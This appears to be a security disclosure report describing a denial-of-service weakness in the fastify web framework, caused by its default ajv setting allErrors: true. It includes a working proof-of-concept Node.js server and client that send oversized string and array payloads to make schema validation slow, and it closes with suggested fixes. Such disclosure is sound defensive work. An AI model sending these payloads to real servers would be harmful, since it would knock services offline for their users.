I would like to report a denial of service vulnerability in fastify
It allows to cause a DoS with some schemas that were otherwise assumed to be secure against DoS by their authors
module name: fastifyversion:2.14.1
, 3.0.0-rc.4
npm page: https://www.npmjs.com/package/fastify
> An efficient server implies a lower cost of the infrastructure, a better responsiveness under load and happy users.
114 076 weekly downloads
See <https://github.com/ajv-validator/ajv#security-risks-of-trusted-schemas>:
> Please note: The suggestions above to prevent slow validation would only work if you do NOT use allErrors: true
in production code (using it would continue validation after validation errors).
fastify
uses allErrors: true
by default which makes it susceptible to DoS attacks even when schemas are otherwise safe.
E.g. a (sub-)schema { uniqueItems: true, maxItems: 10 }
is otherwise safe against DoS as maxItems
is checked first and validation fails there on long arrays, but that applies to only not in allErrors: true
case.
Neither https://github.com/fastify/fastify/blob/master/docs/Validation-and-Serialization.md nor https://github.com/fastify/fastify/blob/master/docs/Recommendations.md mentions this directly.
Introduced in https://github.com/fastify/fastify/pull/1398
/* Client */
const fetch = require('node-fetch')
const request = body => {
const json = JSON.stringify(body)
console.log(`Payload size: ${Math.round(json.length / 1024)} KiB`)
return fetch('http://127.0.0.1:3000/', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: json
})
}
const fireRequests = async () => {
await request({ string: '@'.repeat(90000) })
await request({ array: Array(20000).fill().map(() => ({x: Math.random().toString(32).slice(2)})) })
}
/* Server */
const fastify = require('fastify')({ logger: true })
const schema = {
body: {
type: 'object',
properties: {
array: { uniqueItems: true, maxItems: 10 },
string: { pattern: "^[^/]+@.+#$", maxLength: 20 },
}
},
}
fastify.post('/', { schema }, (request, reply) => {
reply.send({ hello: 'world', body: request.body })
})
fastify.listen(3000, (err, address) => {
fastify.log.info(`server listening on ${address}`)
fireRequests()
})
https://gist.github.com/ChALkeR/15e758d3fc5cbba0840b6a03a070c838
Revert https://github.com/fastify/fastify/pull/1398
Use https://github.com/fastify/fastify/blob/master/docs/Server.md#ajv to override allErrors
to false
in ajv configuration.
Cause DoS in a presence of potentially slow pattern / format or uniqueItems
in the schema, even when schema author guarded that with a length check to be otherwise immune to DoS.